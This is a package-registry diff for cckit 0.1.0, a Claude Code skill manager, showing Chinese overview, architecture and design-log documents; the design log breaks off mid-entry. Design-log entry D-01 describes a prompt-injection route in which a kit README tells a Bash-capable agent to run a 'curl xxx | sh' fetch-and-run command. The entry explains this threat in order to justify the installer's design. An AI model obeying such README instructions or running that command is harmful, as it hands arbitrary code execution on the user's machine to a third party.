cckit 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (54) hide show
  1. cckit-0.1.0/.gitignore +3 -0
  2. cckit-0.1.0/Docs/.gitignore +4 -0
  3. cckit-0.1.0/Docs/01-overview.md +45 -0
  4. cckit-0.1.0/Docs/02-architecture.md +148 -0
  5. cckit-0.1.0/Docs/03-manifest-spec.md +8 -0
  6. cckit-0.1.0/Docs/04-cli-spec.md +3 -0
  7. cckit-0.1.0/Docs/05-design-log.md +419 -0
  8. cckit-0.1.0/Docs/06-platform-findings.md +210 -0
  9. cckit-0.1.0/Docs/07-security.md +132 -0
  10. cckit-0.1.0/Docs/08-installation.md +75 -0
  11. cckit-0.1.0/Docs/09-state-api.md +204 -0
  12. cckit-0.1.0/Docs/10-kit-authoring.md +3 -0
  13. cckit-0.1.0/Docs/README.md +91 -0
  14. cckit-0.1.0/Docs/cli-spec.md +140 -0
  15. cckit-0.1.0/Docs/examples/video-toolkit/cckit.yaml +44 -0
  16. cckit-0.1.0/Docs/kit-development.md +6 -0
  17. cckit-0.1.0/Docs/schema/cckit.schema.json +136 -0
  18. cckit-0.1.0/LICENSE +21 -0
  19. cckit-0.1.0/PKG-INFO +9 -0
  20. cckit-0.1.0/README.md +185 -0
  21. cckit-0.1.0/pyproject.toml +23 -0
  22. cckit-0.1.0/skills/kit-builder/cckit.yaml +12 -0
  23. cckit-0.1.0/skills/kit-builder/kit-builder/SKILL.md +102 -0
  24. cckit-0.1.0/skills/kit-builder/kit-builder/kit-authoring.md +348 -0
  25. cckit-0.1.0/skills/kit-builder/kit-builder/manifest-spec.md +159 -0
  26. cckit-0.1.0/skills/kit-builder/kit-builder/templates/SKILL.md +22 -0
  27. cckit-0.1.0/skills/kit-builder/kit-builder/templates/cckit.yaml +48 -0
  28. cckit-0.1.0/src/cckit/__init__.py +8 -0
  29. cckit-0.1.0/src/cckit/__main__.py +7 -0
  30. cckit-0.1.0/src/cckit/cckit.schema.json +136 -0
  31. cckit-0.1.0/src/cckit/cli.py +294 -0
  32. cckit-0.1.0/src/cckit/config.py +93 -0
  33. cckit-0.1.0/src/cckit/doctor.py +185 -0
  34. cckit-0.1.0/src/cckit/env.py +54 -0
  35. cckit-0.1.0/src/cckit/errors.py +10 -0
  36. cckit-0.1.0/src/cckit/exec.py +104 -0
  37. cckit-0.1.0/src/cckit/installer.py +538 -0
  38. cckit-0.1.0/src/cckit/link.py +79 -0
  39. cckit-0.1.0/src/cckit/lint.py +309 -0
  40. cckit-0.1.0/src/cckit/manifest.py +113 -0
  41. cckit-0.1.0/src/cckit/registry.py +136 -0
  42. cckit-0.1.0/src/cckit/schema.py +42 -0
  43. cckit-0.1.0/src/cckit/state.py +484 -0
  44. cckit-0.1.0/tests/conftest.py +16 -0
  45. cckit-0.1.0/tests/helpers.py +46 -0
  46. cckit-0.1.0/tests/test_budget.py +62 -0
  47. cckit-0.1.0/tests/test_exec.py +111 -0
  48. cckit-0.1.0/tests/test_installer.py +211 -0
  49. cckit-0.1.0/tests/test_link.py +49 -0
  50. cckit-0.1.0/tests/test_lint.py +130 -0
  51. cckit-0.1.0/tests/test_manifest.py +113 -0
  52. cckit-0.1.0/tests/test_registry.py +62 -0
  53. cckit-0.1.0/tests/test_state.py +264 -0
  54. cckit-0.1.0/uv.lock +290 -0
cckit-0.1.0/.gitignore ADDED
@@ -0,0 +1,3 @@
1
+ __pycache__/
2
+ *.py[cod]
3
+ .venv/
@@ -0,0 +1,4 @@
1
+ # ignore num-prefix development docs and development README
2
+ [0-9]*.md
3
+
4
+ README.md
@@ -0,0 +1,45 @@
1
+ # CCKitKit 概览与定位
2
+
3
+ ## 一句话
4
+
5
+ CCKitKit(命令名 `cckit`)是 Claude Code 的 **Skill 工具箱管理器**:从任意 git 仓库拉取
6
+ 带环境依赖的 Skill,自动配置隔离环境,支持 skill 粒度的开关与干净卸载。
7
+
8
+ ## 为什么需要它
9
+
10
+ Claude Code 2.1.245 原生已有 plugin + marketplace 系统,并且已经解决了不少事:任意 git 源、
11
+ 子目录稀疏拉取、commit sha 锁定、skills/commands/agents/hooks/MCP 多组件打包。
12
+ **CCKitKit 不重复这些。** 它只填两个官方明确留空的缺口。
13
+
14
+ ### 缺口一:环境配置是空白
15
+
16
+ 实测证据:扫描官方 marketplace 全部插件,带 `requirements.txt` / `package.json` /
17
+ `pyproject.toml` 的数量为 **0**。
18
+
19
+ 这不是生态没跟上,是平台**设计上不给这条路**。官方文档明确:
20
+
21
+ - 唯一的自动依赖安装限于 npm/bun,且必须有锁文件;
22
+ - 强制 `--ignore-scripts` + 冻结解析 + 60 秒超时;
23
+ - 原话:"no code from the plugin or its packages executes during it",
24
+ 以及 "You can't turn the automatic install off";
25
+ - `yarn.lock` 与 `pnpm-lock.yaml` 被**故意跳过**,因为它们支持能绕过
26
+ `--ignore-scripts` 的解析期钩子;
27
+ - hook 事件列表中**不存在** `PluginInstall` / `PostInstall` 之类的安装期事件。
28
+
29
+ 后果:Python 依赖、原生编译、系统级二进制,官方全部无解。作者只能自己写
30
+ `SessionStart` hook 比对 `package.json` 哈希再手动装——只覆盖 Node,且很笨。
31
+
32
+ > **CCKitKit 的核心功能,正是官方明确拒绝实现的那件事。**
33
+ > 这不代表不能做——我们是本机工具、用户自己装的,信任模型不同。但安全责任是官方
34
+ > 推给我们的,不是顺手接的。详见 [07-security.md](07-security.md)。
35
+
36
+ ### 缺口二:skill 粒度开关拿不到
37
+
38
+ - `enabledPlugins` 是**插件级**布尔开关,无法只关插件里的某一个 skill。
39
+ - `skillOverrides` 提供 skill 粒度四档控制,但文档明确它**对 plugin skill 无效**,
40
+ 只作用于 personal / project skill。
41
+
42
+ 后果:一个含 20 个 skill 的插件,你想只留 3 个,原生做不到。
43
+
44
+ CCKitKit 把 skill 装到 **personal / project 层**——恰好是 `skillOverrides` 唯一生效的层。
45
+ 这不是巧合,是选定架构后拿到的红利,详见 [05-design-log.md](05-design-log.md) 的 D-03。
@@ -0,0 +1,148 @@
1
+ # 架构
2
+
3
+ ## 核心概念
4
+
5
+ | 概念 | 含义 |
6
+ |---|---|
7
+ | **kit** | 分发单位。一个 git 仓库 = 一个 kit,含 1..N 个 skill + 一份 `cckit.yaml` |
8
+ | **skill** | 使用单位。CC 实际调用的东西,开关粒度也在这一层 |
9
+ | **store** | kit 真实文件的存放地,全局唯一一份 |
10
+ | **env** | 每个 skill 独立的运行环境(venv / node_modules) |
11
+ | **link** | store 与 CC 扫描目录之间的目录链接。启用状态的物理载体 |
12
+
13
+ 单个 skill 与 skill 集合**不分两套格式**,单个只是 N=1 的特例。理由见
14
+ [05-design-log.md](05-design-log.md) 的 D-05。
15
+
16
+ ## 目录布局
17
+
18
+ ```
19
+ ~/.cckit/ # 可被 CCKIT_HOME 覆盖
20
+ store/<kit>/ # git clone 的真实内容,含 cckit.yaml
21
+ <skill>/SKILL.md
22
+ envs/<kit>__<skill>/ # 每 skill 一个独立环境
23
+ registry.json # 装了什么、装在哪、什么版本
24
+ logs/
25
+
26
+ <CC 配置目录>/skills/<skill> # link → store。全局启用
27
+ <项目>/.claude/skills/<skill> # link → store。项目启用
28
+ <项目>/cckit.lock # 提交进 git,供团队复现
29
+ ```
30
+
31
+ ⚠️ `<CC 配置目录>` 必须通过 `CLAUDE_CONFIG_DIR` 解析,不可硬编码 `~/.claude`。
32
+
33
+ **store 全局唯一**:同一 kit 在多个项目启用时不重复下载、不重复装环境。
34
+ 启用状态按作用域分别记录。
35
+
36
+ ## 四态模型
37
+
38
+ 这是 CCKitKit 最核心的设计。**link 与 `skillOverrides` 是正交的两层**,不是二选一:
39
+
40
+ - **link** 决定"哪些作用域能扫到它"
41
+ - **`skillOverrides`** 决定"扫到之后是什么状态"
42
+
43
+ | 状态 | link | skillOverrides | CC 看到的 |
44
+ |---|---|---|---|
45
+ | `installed` | ✗ | — | 什么都看不到 |
46
+ | `enabled` | ✓ | 无 / `on` | 名字 + description |
47
+ | `name-only` | ✓ | `name-only` | 只有名字,不占预算 |
48
+ | `off` | ✓ | `off` | 什么都看不到 |
49
+
50
+ `off` 与 `installed` 对 CC 的效果相同,但语义不同:`off` 保留在启用列表里,是"临时关";
51
+ `installed` 是"装了但没启用到任何地方"。
52
+
53
+ ### disable 的两种实现
54
+
55
+ ```
56
+ cckit disable <skill> # 写 skillOverrides: off —— 默认
57
+ cckit disable <skill> --purge # 删 link
58
+ ```
59
+
60
+ 默认走 `skillOverrides`:可逆、不动文件、瞬间生效。`--purge` 用于彻底移出扫描范围。
61
+
62
+ > 代价必须说清:走 `skillOverrides` 意味着 cckit 要写 CC 的 `settings.json`。
63
+ > 这与"独立体系、不碰 CC 配置"的初衷有张力。取舍理由见 D-03。
64
+
65
+ ## 作用域
66
+
67
+ | 作用域 | link 位置 | skillOverrides 写入 |
68
+ |---|---|---|
69
+ | 全局 | `<CC 配置目录>/skills/` | `<CC 配置目录>/settings.json` |
70
+ | 项目 | `<项目>/.claude/skills/` | `<项目>/.claude/settings.local.json` |
71
+
72
+ 项目级 `skillOverrides` 写 `settings.local.json` 而非 `settings.json`:后者会被提交,
73
+ 而"我本机关掉这个 skill"是个人偏好,不该强加给同事。团队共享的意图由 `cckit.lock` 承载。
74
+
75
+ ⚠️ 同名时**全局 skill 覆盖项目 skill**(见 06 的 2.3)。项目安装时必须检测并警告。
76
+
77
+ ## 环境隔离
78
+
79
+ **每个 skill 一个独立 venv**,不是每个 kit 一个。
80
+
81
+ - 依赖冲突彻底隔离(kit A 要 `numpy<2`、kit B 要 `numpy>=2`,互不影响)
82
+ - 卸载 = 删目录,无残留
83
+ - 代价是磁盘占用,但 `uv` 有全局缓存,实际开销远小于直觉
84
+
85
+ 用 `uv` 而非 `pip`:速度,且它能自己拉指定版本的 Python——省掉"请先装 Python 3.11"
86
+ 这类死路。
87
+
88
+ **纯 prompt 类 skill 不创建 env。** 由 manifest 的 `needs: []` 表达,装它时完全不触发
89
+ 环境安装。
90
+
91
+ ## 状态真相来源
92
+
93
+ 避免多处记录同一事实导致漂移:
94
+
95
+ | 事实 | 真相来源 |
96
+ |---|---|
97
+ | 装了哪些 kit / 版本 / 来源 sha | `registry.json` |
98
+ | 是否启用(某作用域) | **文件系统**(link 是否存在) |
99
+ | 是否 name-only / off | **CC 的 settings.json**(`skillOverrides`) |
100
+ | 团队期望装什么 | `cckit.lock`(提交进 git) |
101
+
102
+ 启用状态不在 `registry.json` 里冗余存一份。`cckit list` 现场扫文件系统和 settings。
103
+ `cckit.lock` 记录的是**期望**,不是**现状**——这是它和 registry 的根本区别。
104
+
105
+ 判据是**能否从文件系统观测出来**:观测不到的才存。理由见 D-13。
106
+
107
+ ### 状态层 `cckit.state`
108
+
109
+ 状态的读写**只允许**经由 `cckit.state`,调用方不得直接碰文件系统或 `settings.json`:
110
+
111
+ ```
112
+ Web UI ─┐
113
+ ├─→ cckit.state ─→ 文件系统 + settings.json
114
+ CLI ─┘
115
+ ```
116
+
117
+ 这样 `list` 的扫描逻辑、以及写入时的加锁与原子替换,都只需实现一次。
118
+ CLI 的 `--json` 输出与 Web 的响应共用同一个 `list_skills()`,不存在两套逻辑。
119
+
120
+ ⚠️ 写 `settings.json` 有三条硬要求(文件锁、原子替换、只改 `skillOverrides`),
121
+ 不满足会导致丢失更新或损坏用户配置。完整契约与实测依据见
122
+ [09-state-api.md](09-state-api.md)。
123
+
124
+ ## 脚本执行:`cckit exec`
125
+
126
+ skill 的脚本需要跑在自己的 venv 里。SKILL.md 里不写解释器路径(不可移植),
127
+ 统一走:
128
+
129
+ ```bash
130
+ cckit exec <skill> <script> [args...]
131
+ ```
132
+
133
+ cckit 负责:
134
+
135
+ 1. 查 registry 定位 skill 与其 env
136
+ 2. 按平台解析解释器(`Scripts/python.exe` vs `bin/python`)
137
+ 3. 注入环境变量:
138
+ - `CCKIT_SKILL_DIR` — skill 自己的目录。**必需**,因为 CC 跑 Bash 时 cwd 是项目根,
139
+ 脚本引用自己的资源文件需要这个
140
+ - `CCKIT_KIT_DIR`、`CCKIT_ENV_DIR`
141
+ - manifest `env:` 段声明的变量
142
+ 4. 记录用量(用于预算优化建议)
143
+ 5. cwd **保持调用方的 cwd**,让用户给的相对路径正常工作
144
+
145
+ env 缺失时不静默失败,报错并提示跑 `cckit doctor`。
146
+
147
+ > 这个入口顺带给了我们一个真实的拦截点——用户最初设想的"总控 skill 拦截调用"在这里
148
+ > 才真正拿得到。但它只覆盖带脚本的 skill;纯 prompt skill 的开关仍靠可见性。详见 D-04。
@@ -0,0 +1,8 @@
1
+ # cckit.yaml 规范
2
+
3
+ 已经移动至[manifest-spec.md](../skills/kit-builder/kit-builder/manifest-spec.md)
4
+
5
+ 一些备注:
6
+
7
+ 格式选 YAML 而非 JSON:依赖项常需注释说明"为什么要这个包"。校验仍走 JSON Schema
8
+ (`Docs/schema/cckit.schema.json`)。理由见 [05-design-log.md](05-design-log.md) 的 D-06。
@@ -0,0 +1,3 @@
1
+ # CLI 规格
2
+
3
+ 已迁移到[cli-spec.md](./cli-spec.md)
@@ -0,0 +1,419 @@
1
+ # 设计日志:从初始构想到定稿
2
+
3
+ 本文档记录方案的演化过程——**哪些想法被保留、哪些被改、哪些被否决,以及为什么**。
4
+
5
+ 写它的理由:后续开发者如果不知道某个约束是为了绕开什么坑,很容易"顺手优化掉它",
6
+ 然后重新踩一遍。**每次想改动一条设计时,先来这里看它当初为什么这样定。**
7
+
8
+ ---
9
+
10
+ ## 初始构想
11
+
12
+ 项目发起人的原始设想(7 点):
13
+
14
+ 1. 两个关键点:自动化安装 skill 所需环境 + skill 的组织与管理
15
+ 2. 环境安装两方面结合:
16
+ **A.** 要求 kit 满足某种格式(必填元数据、README 环境配置完善性),配套脚本检查合法性
17
+ **B.** 整个自动化过程由 CC 接手,根据必要信息自行配置环境
18
+ 3. 组织管理:总控 Skill/脚本 + 配置文件/数据库。每次调用 skill 先走总控,
19
+ 由它判断是否被禁用。启停 = 改配置。卸载 = 直接删 skill 文件夹
20
+ 4. 作用域:希望全局和单项目都可用,但不确定怎么做
21
+ 5. 两套格式:单独工作的 skill 用一套,需要协作的 skill 集合用另一套
22
+ 6. 要体现"工具箱感",供 CC 自行取用
23
+ 7. 征求意见与可深入的方向
24
+
25
+ ## 结论速览
26
+
27
+ | 初始想法 | 结论 | 记录 |
28
+ |---|---|---|
29
+ | 两个关键点的判断 | ✅ **完全正确**,且有硬证据支撑 | [01](01-overview.md) |
30
+ | 2A 声明式格式 + 脚本校验 | 🔧 方向对,载体从 README 改为 manifest | D-06 |
31
+ | 2B CC 读 README 自行配环境 | ❌ **否决**,安全风险 | D-01 |
32
+ | 3 总控 skill 拦截调用 | ❌ 机制不成立,但需求真实,以别的形式实现 | D-03 / D-04 |
33
+ | 3 卸载 = 删文件夹 | 🔧 有环境后不成立 | D-07 |
34
+ | 4 全局 + 项目双作用域 | ✅ 保留,方案已定 | D-09 |
35
+ | 5 两套格式 | 🔧 合并为一套 | D-05 |
36
+ | 6 工具箱感 | ✅ 现有架构已是,增值点在别处 | D-03 |
37
+
38
+ 发起人对"环境安装"和"组织管理"是两个核心难点的判断,后来被实测证据强力印证:
39
+ 官方 marketplace 中带依赖文件的插件数量为 **0**,而这不是生态问题,是平台设计上的禁止。
40
+ 详见 [01-overview.md](01-overview.md)。
41
+
42
+ ---
43
+
44
+ ## D-01 环境安装:确定性 installer,而非 CC 读 README
45
+
46
+ **初始构想**:由 CC 接手整个自动化配置过程,根据 kit 提供的信息(含 README)自行配环境。
47
+
48
+ **最终方案**:manifest 声明依赖 → 确定性 installer 执行(**不碰 LLM**)→ 仅当失败时,
49
+ 把结构化错误日志交给 CC 做**诊断**。
50
+
51
+ **为什么改**:
52
+
53
+ README 由 kit 作者控制。把它交给一个有 Bash 权限的 agent"照着做",等于把任意代码
54
+ 执行权移交给作者。作者写一句"配置前请先运行 `curl xxx | sh`",CC 就会照做。
55
+ 这是教科书级的 prompt injection + RCE,而且是我们主动搭的通道。
56
+
57
+ 三个次要问题:
58
+
59
+ - **不可复现**:同一 kit 在不同机器上可能装出不同结果
60
+ - **无法卸载**:不知道装了什么,就不知道该删什么
61
+ - **成本**:每装一个 kit 烧一次 LLM 调用
62
+
63
+ 正确分工是:**确定性流程交给代码,长尾报错交给 LLM。** 后者才是 LLM 真正的增值点——
64
+ 执行标准流程不是。
65
+
66
+ **证据**:官方插件系统面对同一问题时强制 `--ignore-scripts`,并声明
67
+ "no code from the plugin or its packages executes during it"。他们也认为这条路危险。
68
+
69
+ ---
70
+
71
+ ## D-02 系统级依赖:只声明、只检查,绝不自动装
72
+
73
+ **最终方案**:`requires.system` 只声明 + 检查存在性 + 给**当前平台**的安装 hint。
74
+
75
+ **为什么**:
76
+
77
+ - `sudo apt install` 需要提权,是横向扩大攻击面的最佳跳板
78
+ - **无法干净卸载**——别的东西可能也依赖它
79
+ - 跨发行版包名不一致,猜错会装上错误的包
80
+
81
+ 配套硬约束:**postinstall 只允许操作 kit 自己的目录**。任何系统级操作必须改为
82
+ `requires.system` 声明。这既是安全要求,也是可卸载性的前提——cckit 只能清理它知道的东西。
83
+
84
+ ---
85
+
86
+ ## D-03 开关机制:link + skillOverrides 四态(改动最大的一条)
87
+
88
+ **初始构想**:总控 skill / 脚本 + 配置文件。每次调用 skill 先走总控,由它判断是否被禁用。
89
+
90
+ **最终方案**:link 决定"哪些作用域能扫到",`skillOverrides` 决定"扫到之后什么状态"。
91
+ 两者**正交**,组合成四态。
92
+
93
+ **为什么改**:
94
+
95
+ **总控拦截这个机制不成立。** skill 的触发是**模型自主决策**的:CC 在会话启动时把所有
96
+ skill 的 description 加载进上下文,然后自己决定调哪个。不存在统一的"调用入口"给脚本拦截,
97
+ CC 也没有义务先去问总控。hook 事件列表里**没有 skill 专用钩子**。
98
+
99
+ 真正的开关是**物理可见性**:禁用 = 让 description 根本不进上下文。
100
+
101
+ **实测验证**:在 `.claude/skills/` 下建 junction 指向别处的真实 skill,CC 完整发现了它
102
+ 并读到了埋在 description 里的标记词。**CC 侧零改动。** 这是整个架构的可行性前提。
103
+
104
+ ### ⚠️ 中途的判断失误(重要)
105
+
106
+ 分析过程中我曾断言"CC 没有 skill 粒度开关键,拿不到你要的能力"。**这是错的**——
107
+ 我搜的键名(`disabledSkills` / `enabledSkills`)不存在,但真实的键叫 **`skillOverrides`**,
108
+ 它有四档:`on` / `name-only` / `user-invocable-only` / `off`(cckit 只取 `on` / `name-only` / `off` 三档,`user-invocable-only` 不支持)。
109
+
110
+ 修正后发现结论比原判断**更好**:
111
+
112
+ - `skillOverrides` **对 plugin skill 无效**,只作用于 personal / project skill;
113
+ - 而 link 方案产出的正是 personal / project skill。
114
+
115
+ 所以选定 link 架构后,恰好落在 `skillOverrides` 唯一生效的层上。这不是巧合带来的运气,
116
+ 但也确实是选对架构后白拿的红利。
117
+
118
+ `name-only` 是我原本完全没想到的第三态:CC 知道工具存在、用户可 `/skill-name` 手动调用,
119
+ 但 description 不占清单预算。它让"腾预算"从抽象问题变成一个可执行动作(见 D-12)。
120
+
121
+ **代价(必须记录)**:走 `skillOverrides` 意味着 cckit 要写 CC 的 `settings.json`,
122
+ 这与"独立体系、不碰 CC 配置"的初衷有张力。取舍理由:它是**文档化的公开用户配置键**,
123
+ 不是插件系统的内部状态,且是官方为 personal skill 提供的**唯一**粒度开关。
124
+ 判断为值得。若日后 CC 变更此键,退路是纯 link 方案(失去 `name-only` 一档)。
125
+
126
+ ---
127
+
128
+ ## D-04 拦截点:以 `cckit exec` 的形式复活
129
+
130
+ **初始构想**:总控脚本拦截每次 skill 调用。
131
+
132
+ **最终方案**:D-03 否决了"拦截开关",但**拦截这个需求本身是真实的**,它在
133
+ `cckit exec` 上真正落地了。
134
+
135
+ `cckit exec <skill> <script>` 是 skill 脚本的统一入口(存在的首要理由是解决"脚本怎么找到
136
+ 自己的 venv"这个跨平台问题)。顺带地,cckit 在这里可以:校验启用状态、记录用量、注入环境变量。
137
+
138
+ **为什么这个拦截是可靠的,而总控不可靠**:脚本**必须**经过 `exec` 才能找到自己的解释器,
139
+ 这是物理必然;而"CC 自觉去问总控"只是期望。
140
+
141
+ **局限**:只覆盖带脚本的 skill。纯 prompt skill 无脚本,其开关仍靠可见性。
142
+
143
+ **另一条路(备选)**:`PreToolUse` 能匹配 `Skill` 工具,但用户打 `/skillname` 会绕过它;
144
+ 要覆盖两条路径需 `PreToolUse` + `UserPromptExpansion` 并用。这套适合做**用量统计**,
145
+ 不适合做开关——到那一步 description 已经占了预算、模型已经做了决定,太晚。
146
+
147
+ ---
148
+
149
+ ## D-05 kit 格式:合并为一套
150
+
151
+ **初始构想**:两套格式——单独工作的 skill 一套,需要协作的 skill 集合另一套。
152
+
153
+ **最终方案**:一个仓库 = 一个 kit,含 1..N 个 skill。**单个 skill 只是 N=1 的特例。**
154
+
155
+ **为什么改**:两套格式意味着两条代码路径、两套 schema、两倍边界情况,而**用户体验不受影响**
156
+ ——因为开关粒度本来就在 skill 层,不在 kit 层。
157
+
158
+ skill 间的协作关系用 manifest 表达(`needs` 声明依赖),不需要独立的"集合格式"。
159
+
160
+ ---
161
+
162
+ ## D-06 manifest 载体:YAML 文件,而非 README 散文
163
+
164
+ **初始构想**:要求 README 的"环境配置完善性",配套脚本检查。
165
+
166
+ **最终方案**:声明式 `cckit.yaml` + JSON Schema 校验。README 照旧写给人看,机器只读 manifest。
167
+
168
+ **为什么改**:README 是散文,**机器无法验证"完善性"**。改成 manifest 后,
169
+ "是否合法"变成确定性判断,而不是主观评估(或者更糟——让 LLM 去做主观评估)。
170
+
171
+ **格式为什么选 YAML 而非 JSON**:依赖项常需注释说明"为什么要这个包",JSON 不支持注释。
172
+
173
+ **为什么不是 TOML**:TOML 也支持注释,且 Python 3.11+ 有 stdlib `tomllib`(省一个依赖)。
174
+ 选 YAML 是为了生态一致性——SKILL.md frontmatter、CI 配置都是 YAML,kit 作者更熟。
175
+ 校验仍走 JSON Schema,严谨性不受格式选择影响。
176
+
177
+ ---
178
+
179
+ ## D-07 卸载:必须跟踪安装产物
180
+
181
+ **初始构想**:"CC 的 skill 组织很规整,直接删这个 skill 的文件夹就好。"
182
+
183
+ **最终方案**:`cckit remove` 依次清理 link → env → store → registry →
184
+ `skillOverrides` 残留条目。
185
+
186
+ **为什么改**:这个判断在**没有环境**时是对的。但引入 venv 后,产物散布在多处:
187
+ env 在 `~/.cckit/envs/`,状态在 `registry.json` 与 CC 的 `settings.json`。
188
+ 删 skill 目录只删掉了最表层的一份。
189
+
190
+ 这条与 D-02 的约束互为因果:**正因为要保证可卸载,postinstall 才不能碰自己目录之外的东西。**
191
+
192
+ ---
193
+
194
+ ## D-08 跨平台:两次 Windows-only 失误
195
+
196
+ 发起人明确要求"不要弄成只支持 Windows"。这个提醒抓得准——**此时草案里已经有两处
197
+ Windows-only 错误**,都是我犯的:
198
+
199
+ ### 失误一:建议用 `os.rmdir()` 删链接
200
+
201
+ 我基于 Windows 实测给出"删除用 `os.rmdir()`,不要用 `shutil.rmtree()`"。
202
+ `rmdir` 在 Windows 上确实能删 junction,但在 **Linux 上删 symlink 抛
203
+ `NotADirectoryError`(errno=20)**。照此实现,`cckit disable` 在 Linux 上会直接报错。
204
+
205
+ **修正**:统一用 `os.unlink()`,两平台皆可。
206
+
207
+ ### 失误二:manifest 里写了 winget-only 的 hint
208
+
209
+ 草案原文:`system: [{ bin: ffmpeg, hint: "winget install ffmpeg" }]`。
210
+ Linux 用户看到这条提示只能干瞪眼。
211
+
212
+ **修正**:`hint` 强制为分平台 map,schema 层面禁止单字符串;并新增 kit 级
213
+ `platforms` 字段,当前平台不匹配时在 `add` 阶段就拒绝,而非装完才发现跑不了。
214
+
215
+ ### 共同的教训
216
+
217
+ **单平台经验会伪装成通用知识。** 两次失误都不是粗心,是"在 Windows 上验证过所以确信"。
218
+
219
+ 对策:`link.py` 写完后在 Windows 与 WSL Ubuntu 上跑**同一份**测试(5 项断言,双平台全过),
220
+ 而不是在一个平台上验证后推断另一个。
221
+ [06-platform-findings.md](06-platform-findings.md) 因此只记录**实际跑过**的结论。
222
+
223
+ 顺带查明:Windows 上 symlink 需要管理员权限、junction 不需要——这决定了 Windows 必须用
224
+ junction,否则用户每次 `enable` 都要提权。多数工具会错用 symlink。
225
+
226
+ ---
227
+
228
+ ## D-09 作用域:store 全局唯一,启用状态分作用域
229
+
230
+ **初始构想**:希望全局和单项目都可用,但不确定怎么做。
231
+
232
+ **最终方案**:store 全局唯一一份(不重复下载、不重复装环境);link 分别建到全局或项目的
233
+ skills 目录;项目级 `skillOverrides` 写 `settings.local.json`。
234
+
235
+ **为什么项目级写 `settings.local.json` 而非 `settings.json`**:后者会被提交,
236
+ 而"我本机关掉这个 skill"是个人偏好,不该强加给同事。团队共享的意图由 `cckit.lock` 承载
237
+ (它才是该提交的东西,角色类似 `package.json`)。
238
+
239
+ **⚠️ 反直觉的坑**:skill 同名冲突时优先级是 **enterprise > personal > project**,
240
+ 即**全局覆盖项目**。这与 settings 的优先级方向(项目 > 用户)**相反**。
241
+ 后果是项目里放的改良版 skill 不生效且无提示,因此 `add --project` 必须检测并警告。
242
+
243
+ ---
244
+
245
+ ## D-10 技术栈:Python + uv
246
+
247
+ **过程**:我推荐 Node + TypeScript,主要理由是 `fs.symlink(target, path, 'junction')`
248
+ 在 Windows 上原生就能建 junction,无需外部调用。发起人选择 Python + uv,理由是
249
+ Python skill 反正需要 uv,栈统一。
250
+
251
+ **结果:发起人的选择成本比我预估的低。** 实测 `_winapi.CreateJunction` 在标准库里就有
252
+ (Python 3.13.12 验证可用),不需要 subprocess 调 `mklink`——我在选项里写的
253
+ subprocess 方案是多余的。
254
+
255
+ 保留的代价:`_winapi` 是 CPython 私有 API。已在 `link.py` 加 `mklink /J` 兜底。
256
+ Python 下限定为 **3.12+**(`os.path.isjunction()` 的引入版本)。
257
+
258
+ ---
259
+
260
+ ## D-11 分发:`uv tool install`
261
+
262
+ **提出的问题**:"cckit 本身的安装会不会很复杂?"——安装摩擦直接决定采用率,是个真问题。
263
+
264
+ **最终方案**:`uv tool install cckit`,并提供一键脚本自动 bootstrap `uv`。
265
+
266
+ **关键论证**:`uv` 不是为装 cckit 额外付的成本,它本来就是硬依赖——cckit 要给每个 skill
267
+ 建 venv,还要处理"kit 要 Python 3.11 但用户只有 3.13"的情况。
268
+
269
+ **`pip install` 为什么出局**:实测 WSL Ubuntu 存在
270
+ `/usr/lib/python3.14/EXTERNALLY-MANAGED`,PEP 668 生效,`pip install --user` 被系统拒绝,
271
+ 需要 `--break-system-packages` 绕过。让用户输入"break system packages"作为安装指令,
272
+ 不可接受。
273
+
274
+ **意外的好消息**:实测 `~/.local/bin` 已在 Windows User PATH 中(`claude` 自身即装于此),
275
+ 正是 `uv tool install` 的目标位置——装完即用,无需改 PATH 或重开终端。
276
+ 且用户**无需预装 Python**,`uv` 会自己拉。详见 [08-installation.md](08-installation.md)。
277
+
278
+ ---
279
+
280
+ ## D-12 新增约束:skill 清单预算(初始构想完全没有覆盖)
281
+
282
+ 这一条不在任何人的初始设想里,是查文档时才发现的**设计级约束**:
283
+
284
+ - 会话启动只加载 skill 的**名字 + description 清单**;
285
+ - 清单预算 = **模型上下文窗口的 1%**;
286
+ - 超预算时**名字保留,description 从"最少被调用"的开始丢弃**。
287
+
288
+ **为什么这条重要**:工具箱做大之后,新装 skill 的 description 可能根本没进上下文。
289
+ CC 看得到名字但不知道何时该用它,表现为"装了但 CC 从来不用",而且**不报错、无提示**。
290
+ 这是能让人 debug 一整天的问题——而它恰恰是"工具箱越好用、装得越多"之后必然遇到的。
291
+
292
+ **引出的功能**:`cckit list` / `add` 报预算占用;`name-only` 档作为腾预算的手术刀;
293
+ 安装时 lint description(含与已装 skill 的语义重叠检测)。
294
+
295
+ 这也回答了初始构想第 6 点"工具箱感还能优化什么":现有架构确实已经是工具箱了,
296
+ 真正的增值不在重新设计发现机制,而在**保证 CC 能正确挑到工具**——预算管理与
297
+ description 质量才是瓶颈。
298
+
299
+ ---
300
+
301
+ ## D-13 启用状态:派生而非存储
302
+
303
+ **提出的质疑**:为什么不把启用状态集中放进数据库或配置文件?后期要用 Web 管理开关
304
+ (list + 逐个开关),扫描式查询方便吗?
305
+
306
+ **最终方案**:保持派生。启用状态从文件系统 + `settings.json` 现场读取,不落库。
307
+
308
+ **为什么**:
309
+
310
+ CC 只看两处——`skills/` 目录里有什么、`skillOverrides` 写了什么。**它不知道 cckit 存在。**
311
+ 若把状态存进数据库,数据库说 `enabled` 而 link 不存在时,CC 不会加载,
312
+ **数据库说的话没人听**。它不是真相来源,只是可能过期的副本。
313
+
314
+ 而且漂移是必然:用户手动删目录、自己编辑 `skillOverrides`、`git pull` 到同事的改动、
315
+ CC 升级、cckit 在两次写入之间崩溃——全是合法情况。存了之后仍需 `reconcile` 且必须以
316
+ 文件系统为准,那不如一开始就直接读。
317
+
318
+ **性能顾虑已实测排除**:200 个 skill 的完整扫描中位 **6.7 ms**,Web 请求里无感。
319
+
320
+ **但质疑中的真问题被采纳了**:原设计确实缺一层。Web 不该直接碰文件系统,
321
+ 否则会出现两套扫描逻辑、两处并发漏洞。因此新增 `cckit.state` 作为唯一状态读写模块,
322
+ CLI 与 Web 共用。见 [09-state-api.md](09-state-api.md)。
323
+
324
+ **划分判据**:能否从文件系统观测出来。观测不到的(kit 版本、sha、env 路径、用量统计)
325
+ 存 `registry.json`;观测得到的(启用状态)不存。
326
+
327
+ ---
328
+
329
+ ## D-14 并发写:文件锁 + 原子替换(Web 接入的真实风险)
330
+
331
